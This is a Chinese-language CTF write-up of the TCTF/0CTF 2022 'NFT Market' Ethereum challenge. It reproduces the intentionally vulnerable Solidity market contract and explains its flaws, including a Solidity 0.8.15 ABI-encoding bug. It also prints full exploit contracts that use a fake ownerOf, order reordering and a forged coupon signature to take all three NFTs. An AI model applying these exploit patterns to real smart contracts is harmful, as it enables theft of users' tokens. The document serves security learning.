TCTF/0CTF 2022 RisingStar Writeup¶
约 2519 个字 323 行代码 预计阅读时间 12 分钟
Abstract
TCTF/0CTF 2022 的新星赛道和国际赛道,misc 题有四道是同一个附件的四个 flag,很 reverse,没怎么做。只和四老师一起做了 ETH 的题,还是比较有趣的
TCTF NFT Market¶
题目合约
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract TctfNFT is ERC721, Ownable {
constructor() ERC721("TctfNFT", "TNFT") {
_setApprovalForAll(address(this), msg.sender, true);
}
function mint(address to, uint256 tokenId) external onlyOwner {
_mint(to, tokenId);
}
}
contract TctfToken is ERC20 {
bool airdropped;
constructor() ERC20("TctfToken", "TTK") {
_mint(address(this), 100000000000);
_mint(msg.sender, 1337);
}
function airdrop() external {
require(!airdropped, "Already airdropped");
airdropped = true;
_mint(msg.sender, 5);
}
}
struct Order {
address nftAddress;
uint256 tokenId;
uint256 price;
}
struct Coupon {
uint256 orderId;
uint256 newprice;
address issuer;
address user;
bytes reason;
}
struct Signature {
uint8 v;
bytes32[2] rs;
}
struct SignedCoupon {
Coupon coupon;
Signature signature;
}
contract TctfMarket {
event SendFlag();
event NFTListed(
address indexed seller,
address indexed nftAddress,
uint256 indexed tokenId,
uint256 price
);
event NFTCanceled(
address indexed seller,
address indexed nftAddress,
uint256 indexed tokenId
);
event NFTBought(
address indexed buyer,
address indexed nftAddress,
uint256 indexed tokenId,
uint256 price
);
bool tested;
TctfNFT public tctfNFT;
TctfToken public tctfToken;
CouponVerifierBeta public verifier;
Order[] orders;
constructor() {
tctfToken = new TctfToken();
tctfToken.approve(address(this), type(uint256).max);
tctfNFT = new TctfNFT();
tctfNFT.mint(address(tctfNFT), 1);
tctfNFT.mint(address(this), 2);
tctfNFT.mint(address(this), 3);
verifier = new CouponVerifierBeta();
orders.push(Order(address(tctfNFT), 1, 1));
orders.push(Order(address(tctfNFT), 2, 1337));
orders.push(Order(address(tctfNFT), 3, 13333333337));
}
function getOrder(uint256 orderId) public view returns (Order memory order) {
require(orderId < orders.length, "Invalid orderId");
order = orders[orderId];
}
function createOrder(address nftAddress, uint256 tokenId, uint256 price) external returns(uint256) {
require(price > 0, "Invalid price");
require(isNFTApprovedOrOwner(nftAddress, msg.sender, tokenId), "Not owner");
orders.push(Order(nftAddress, tokenId, price));
emit NFTListed(msg.sender, nftAddress, tokenId, price);
return orders.length - 1;
}
function cancelOrder(uint256 orderId) external {
Order memory order = getOrder(orderId);
require(isNFTApprovedOrOwner(order.nftAddress, msg.sender, order.tokenId), "Not owner");
_deleteOrder(orderId);
emit NFTCanceled(msg.sender, order.nftAddress, order.tokenId);
}
function purchaseOrder(uint256 orderId) external {
Order memory order = getOrder(orderId);
_deleteOrder(orderId);
IERC721 nft = IERC721(order.nftAddress);
address owner = nft.ownerOf(order.tokenId);
tctfToken.transferFrom(msg.sender, owner, order.price);
nft.safeTransferFrom(owner, msg.sender, order.tokenId);
emit NFTBought(msg.sender, order.nftAddress, order.tokenId, order.price);
}
function purchaseWithCoupon(SignedCoupon calldata scoupon) external {
Coupon memory coupon = scoupon.coupon;
require(coupon.user == msg.sender, "Invalid user");
require(coupon.newprice > 0, "Invalid price");
verifier.verifyCoupon(scoupon);
Order memory order = getOrder(coupon.orderId);
_deleteOrder(coupon.orderId);
IERC721 nft = IERC721(order.nftAddress);
address owner = nft.ownerOf(order.tokenId);
tctfToken.transferFrom(coupon.user, owner, coupon.newprice);
nft.safeTransferFrom(owner, coupon.user, order.tokenId);
emit NFTBought(coupon.user, order.nftAddress, order.tokenId, coupon.newprice);
}
function purchaseTest(address nftAddress, uint256 tokenId, uint256 price) external {
require(!tested, "Tested");
tested = true;
IERC721 nft = IERC721(nftAddress);
uint256 orderId = TctfMarket(this).createOrder(nftAddress, tokenId, price);
nft.approve(address(this), tokenId);
TctfMarket(this).purchaseOrder(orderId);
}
function win() external {
require(tctfNFT.ownerOf(1) == msg.sender && tctfNFT.ownerOf(2) == msg.sender && tctfNFT.ownerOf(3) == msg.sender);
emit SendFlag();
}
function isNFTApprovedOrOwner(address nftAddress, address spender, uint256 tokenId) internal view returns (bool) {
IERC721 nft = IERC721(nftAddress);
address owner = nft.ownerOf(tokenId);
return (spender == owner || nft.isApprovedForAll(owner, spender) || nft.getApproved(tokenId) == spender);
}
function _deleteOrder(uint256 orderId) internal {
orders[orderId] = orders[orders.length - 1];
orders.pop();
}
function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
contract CouponVerifierBeta {
TctfMarket market;
bool tested;
constructor() {
market = TctfMarket(msg.sender);
}
function verifyCoupon(SignedCoupon calldata scoupon) public {
require(!tested, "Tested");
tested = true;
Coupon memory coupon = scoupon.coupon;
Signature memory sig = scoupon.signature;
Order memory order = market.getOrder(coupon.orderId);
bytes memory serialized = abi.encode(
"I, the issuer", coupon.issuer,
"offer a special discount for", coupon.user,
"to buy", order, "at", coupon.newprice,
"because", coupon.reason
);
IERC721 nft = IERC721(order.nftAddress);
address owner = nft.ownerOf(order.tokenId);
require(coupon.issuer == owner, "Invalid issuer");
require(ecrecover(keccak256(serialized), sig.v, sig.rs[0], sig.rs[1]) == coupon.issuer, "Invalid signature");
}
}
合约很复杂,下面详细分析一下:
- 有一个基于 ERC20 的代币 TctfToken(TTK)
- 在创建时会给自己合约发放 100000000000 个代币,给部署者发放 1337 个代币
- 有空投方法,外部可以直接调用,不过只能调用一次,且一次只能获得 5 个代币
- 有一个基于 ERC721 的非同质化代币(NFT)TctfNFT
- NFT 的实质就是可以下发很多种代币(tokenId
) ,不过每种只能有一个,因此在 mint 的时候第二个参数代表的是编号而不是 ERC20 中的数量 - 只有 owner 可以下发新代币
- NFT 的实质就是可以下发很多种代币(tokenId
- 有一些结构体
- Order:保存了订单信息,包含 NFT 合约地址、售卖的代币 id、售卖的价格
- Coupon:保存了一个优惠券,包含了订单编号、优惠后的价格、下发优惠券的账户地址、使用优惠券的账户地址、优惠理由
- ⚠️ 这里有一个可疑的地方,它保存的是订单编号而不是代币编号,会出现问题
- Signature:保存了签名信息(web3 签名得到的 v、r、s)
- SignedCoupon:保存了一个优惠券和对应的签名
- 有一个交易商场合约 TctfMarket
- 构造方法:
- 先创建一个 TctfToken 合约账户,并允许当前商场合约任意使用所拥有的代币
- 当前商场因为部署了合约会被分到 1337 TTK
- 然后创建一个 TctfNFT 合约账户,并下发三个 NFT 代币:
- 1 号 NFT 发放给 TctfNFT 合约账户
- 2 号、3 号 NFT 发放给当前商场账户
- 创建一个 verifier(后面再分析)
- 创建三个订单:
- 1 号代币以 1 TTK 的价格售卖(airdrop 之后可以直接购买)
- 2 号代币以 1337 TTK 的价格售卖
- ⚠️ 结合前面商场得到了 1337 TTK 的暗示,可以知道这个代币需要先骗取商场的钱
- 3 号代币以 13333333337 TTK 的价格售卖
- ⚠️ 价格很高,所以可以猜到需要使用优惠券来降低价格
- 先创建一个 TctfToken 合约账户,并允许当前商场合约任意使用所拥有的代币
- 通过方法:
- win 方法中定义(末尾 emit 了 SendFlag 事件)
- 检查调用者是否拥有全部三个代币,如果有则成功
- getOrder 方法:获取订单,不必多说
- createOrder 方法
- 接收一个 NFT 合约账户地址,售卖的 tokenId 和价格
- 创建订单的账户(即调用此方法的账户)必须是所售卖代币的 owner,或者被所有者赋予了管理此代币的权限,或者被所有者赋予了管理他所有代币的权限(在 isNFTApprovedOrOwner 方法中检查)
- ⚠️ 此处有一个问题,创建订单的 NFT 合约地址并没有硬编码为商场创建的 NFT 地址,而是可以通过用户自行输入,会有问题
- ⚠️ 此处还有一个问题,这个方法是 external 的,也就是说外部的任何人都可以调用这个方法来创建订单
- cancelOrder 方法
- 和 createOrder 方法同样检查了权限
- 调用了 internal 的 _deleteOrder 方法:
- 将末尾的订单移动到当前要删除的位置然后弹出末尾订单
- ⚠️ 这里会导致订单顺序乱序,结合前面优惠券保存的是订单编号,会导致优惠券实际作用代币发生变化,是个大问题
- 有三种支付订单(购买代币)的方法:
- purchaseOrder 原价购买:
- 可以调用无限次
- 直接支付,先删除订单防止重入
- 先从调用者(买家)转 order.price 个 TTK 给代币所有者
- ⚠️ 这里也有问题,Token 的接收方只会是 owner,而不会是其它被 approved 的账户(比如订单创建者)
- 再从代币所有者转出这个代币(order.tokenId)给调用者(买家)
- purchaseTest:
- 只能调用一次
- ⚠️ 看名字是测试用方法,很可疑,应该会包含漏洞
- 具体逻辑和 purchaseOrder 差不多
- 调用者可以指定 NFT 合约地址、tokenId 和价格
- 先创建订单然后跳用 purchaseOrder 购买
- purchaseWithCoupon 使用优惠券购买:
- 只能调用一次(CouponVerifierBeta 的原因)
- 传入一个 SignedCoupon
- 通过 verifier.verifyCoupon 验证权限和签名
- 通过 coupon.orderId 取出订单并删除
- ⚠️ 这里有问题,取出订单的操作在验证之后,如果能够在验证时搞些手段则可以让后面获得的订单是另一个订单
- 以 purchaseOrder 同样逻辑售卖(以 coupon.newprice 价格)
- purchaseOrder 原价购买:
- onERC721Received 方法:
- 需要返回 selector 来表示这是一个可疑接收 ERC721 代币的合约账户(在 safeTransferFrom 时调用检查)
- 曾经有漏洞是利用这个函数的特性来在里面搞小动作实现重入攻击,不过本合约已经防止了重入
- 构造方法:
- 有一个优惠券签名验证合约 CouponVerifierBeta:
- ⚠️ 同样名字里带了 Beta,很可疑
- verifyCoupon 方法:
- 只能调用一次
- 接收一个 SignedCoupon
- 取出 coupon、签名、订单
- 构造 serialized bytes 信息
- 验证 issuer 是否是所优惠的代币的 owner
- ⚠️ 此处有问题,调用了 NFT 地址上的 ownerOf 方法,不过这个 NFT 地址可以是用户自行创建订单时指定的,其 ownerOf 方法也并不可信
- 验证针对 keccak256(serialized) 的签名 sig 是否是 issuer 签署的
分析下来已经得到了很多疑点和有漏洞的地方,三个代币的获取方法也就基本清晰了:
- 1 号代币通过 airdrop 拿到 5 TTK 后可以直接购买
- 2 号代币通过 purchaseTest 方法的漏洞骗取 1337 TTK 后购买
- 先创建一个自己的 TctfNFT 合约
- 给自己发放一个代币
- 将自己的权限全权代理给商场
- 调用 puchaseTest 方法,传入自己建的 NFT 合约地址、发放的代币编号、1337 TTK 的价格
- 这时里面会创建这个订单并且自己购买
- 不过自己购买时收款方并不是自己,而是这个代币的 owner,也就是我们的账户,所以就骗到了 1337 TTK
- (不通过已买的 1 号代币骗钱的原因是这样会导致 1 号代币无法再回收)
- 3 号代币通过 CouponVerifierBeta 的漏洞,在 ownerOf 里调用删除订单使订单队列乱序,从而用正确的优惠券和价格买到其它订单中的代币
1、2 号获取的流程已经很清晰了,而且其顺序并不影响,可以随时通过对应方法获得。下面主要说 3 号代币,也就是最精彩的部分:
这个代币的获取方法肯定是通过 purchaseWithCoupon 方法,再捋一下调用的整个过程:
- 取出参数中的 coupon
- 验证 user(使用者)是否是调用者,newprice 是否大于 0
- 调用 verifier.verifyCoupon 方法
- 取出 coupon、sig、order(订单全部内容)
- 构造序列化信息
- 调用 order.nftAddress 上的 ownerOf 方法获得 owner
- 验证 issuer(下发优惠券的人)是否是 owner
- 验证签名是否是 issuer 为序列化信息签署的
- 根据 coupon.orderId 取出并删除订单
- 调用 order.nftAddress 上的 ownerOf 方法获得 owner
- coupon.user 向 owner 转 coupon.newprice 个 TTK
- owner 将 order.tokenId 这个代币转给 coupon.user
其中 coupon 提取的时机很关键:
- 在 purchaseWithCoupon 方法开头就提取了 coupon 全部内容到内存中,因此 verifier.verifyCoupon 返回后 coupon.orderId、coupon.user 不会变
- 在 verifier.verifyCoupon 方法中也是开头就提取了 coupon 全部内容,并在 ownerOf 调用前就创建了对应的序列化信息
错误的方法
所以只要我们创建一个自己的订单(nftAddress 是自己部署的有问题的合约
这样回到 purchaseWithCoupon 方法之后取出了订单(售卖的 tokenId 是 3,nftAddress 也是商场中的 NFT 地址)付款只需付 coupon.newprice 这么多就可以得到 3 号代币。
乱序的方法是:
- 起始:1 2 3
- 增加一个自己的:1 2 3 4
- 买下 2:1 4 3(此时自己的订单在 3 前)
不过上面这个方法是有问题的,修改 ownerOf 在其中删除订单的话会导致这个方法并不是 view 方法,需要使用 call 而不是 staticcall 调用。但是通过 IERC721 得到的接口是 view 的,会使用 staticcall 调用,从而导致 revert
解决这个问题的关键在于题目指定了 solidity 编译器版本为 0.8.15。这个版本的编译器存在一个 bug。来自 solidity 0.8.16 release post:
Important Bugfixes:
- Code Generation: Fix data corruption that affected ABI-encoding of calldata values represented by tuples: structs at any nesting level; argument lists of external functions, events and errors; return value lists of external functions. The 32 leading bytes of the first dynamically-encoded value in the tuple would get zeroed when the last component contained a statically-encoded array.
换句话说就是在调用 verifyCoupon 方法时其接收到的 scoupon 的前 32 字节会变成全 0,而对应结构体中这个位置刚好是 orderId,这就导致了无论如何 verifyCoupon 的始终是第一个订单上的信息。因此我们订单列表的顺序就可以是:
- 初始:1 2 3
- 新建:1 2 3 4
- 买下 1:4 2 3
- 买下 2: 4 3
所以最终验证的还是我们自己订单上的信息,而 owner 原本是攻击合约,不过签署者只能是用户账户,所以需要伪造一下,用一个用户账户签署得到签名,并在 ownerOf 的时候返回这个签署者地址(这样 ownerOf 方法还是 view 的,可以 staticcall)
核心代码
contract ExploitNFT is Context, ERC165 {
...
address public fake_issuer;
function set_fake_issuer(address src) public {
fake_issuer = src;
}
function ownerOf(uint256 tokenId) public virtual returns (address) {
if (fake_issuer != address(this)) {
address fake = fake_issuer;
return fake;
} else {
address owner = _owners[tokenId];
return owner;
}
}
...
}
contract Exploit {
TctfMarket public market;
TctfNFT public myNFT;
ExploitNFT public expNFT;
address public issuer;
constructor(address chal, address issuer_) {
issuer = issuer_;
market = TctfMarket(chal);
myNFT = new TctfNFT();
expNFT = new ExploitNFT("ExploitNFT", "ENFT", chal);
}
function airdrop() public {
market.tctfToken().airdrop();
}
function buyToken1() public returns (bool) {
market.tctfToken().approve(address(market), 1);
market.purchaseOrder(0);
return market.tctfNFT().ownerOf(1) == address(this);
}
function getTokenFromMarket() public {
myNFT.mint(address(this), 1);
myNFT.setApprovalForAll(address(market), true);
market.purchaseTest(address(myNFT), 1, 1337);
}
function buyToken2() public returns (bool) {
market.tctfToken().approve(address(market), 1337);
market.purchaseOrder(1);
return market.tctfNFT().ownerOf(2) == address(this);
}
function createNewOrder() public {
expNFT.mint(address(this), 1);
market.createOrder(address(expNFT), 1, 1);
}
function buyToken3(uint8 v, bytes32[2] calldata rs) public returns (bool) {
market.tctfToken().approve(address(market), 1);
expNFT.setApprovalForAll(address(market), true);
expNFT.set_fake_issuer(issuer);
require(market.getOrder(0).nftAddress == address(expNFT), "not valid");
require(market.getOrder(1).nftAddress == address(market.tctfNFT()), "not valid");
require(address(market.tctfNFT()) != address(expNFT), "not valid");
market.purchaseWithCoupon(SignedCoupon(
Coupon(
1, // orderId
1, // newprice
issuer, // issuer
address(this), // user
bytes("exploit")
),
Signature(
v, rs
)
));
return market.tctfNFT().ownerOf(3) == address(this);
}
function getSerialized() public returns (bytes32) {
Coupon memory coupon;
Order memory order;
order.nftAddress = address(expNFT);
order.tokenId = 1;
order.price = 1;
coupon.user = address(this);
coupon.issuer = issuer;
coupon.newprice = 1;
coupon.reason = bytes("exploit");
bytes memory serialized = abi.encode(
"I, the issuer", coupon.issuer,
"offer a special discount for", coupon.user,
"to buy", order, "at", coupon.newprice,
"because", coupon.reason
);
return keccak256(serialized);
}
function check(uint8 v, bytes32[2] calldata rs) public returns (bool) {
return ecrecover(getSerialized(), v, rs[0], rs[1]) == issuer;
}
function exp1() public returns (bool) {
airdrop();
createNewOrder();
getTokenFromMarket();
if (!buyToken1()) return false;
if (!buyToken2()) return false;
return true;
}
function exp2(uint8 v, bytes32[2] calldata rs) public returns (bool) {
if (!buyToken3(v, rs)) return false;
market.win();
return true;
}
function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
flag: flag{off_by_null_in_the_market_d711fbd6a7c0c015b42d}
创建日期: 2022年9月21日 01:16:49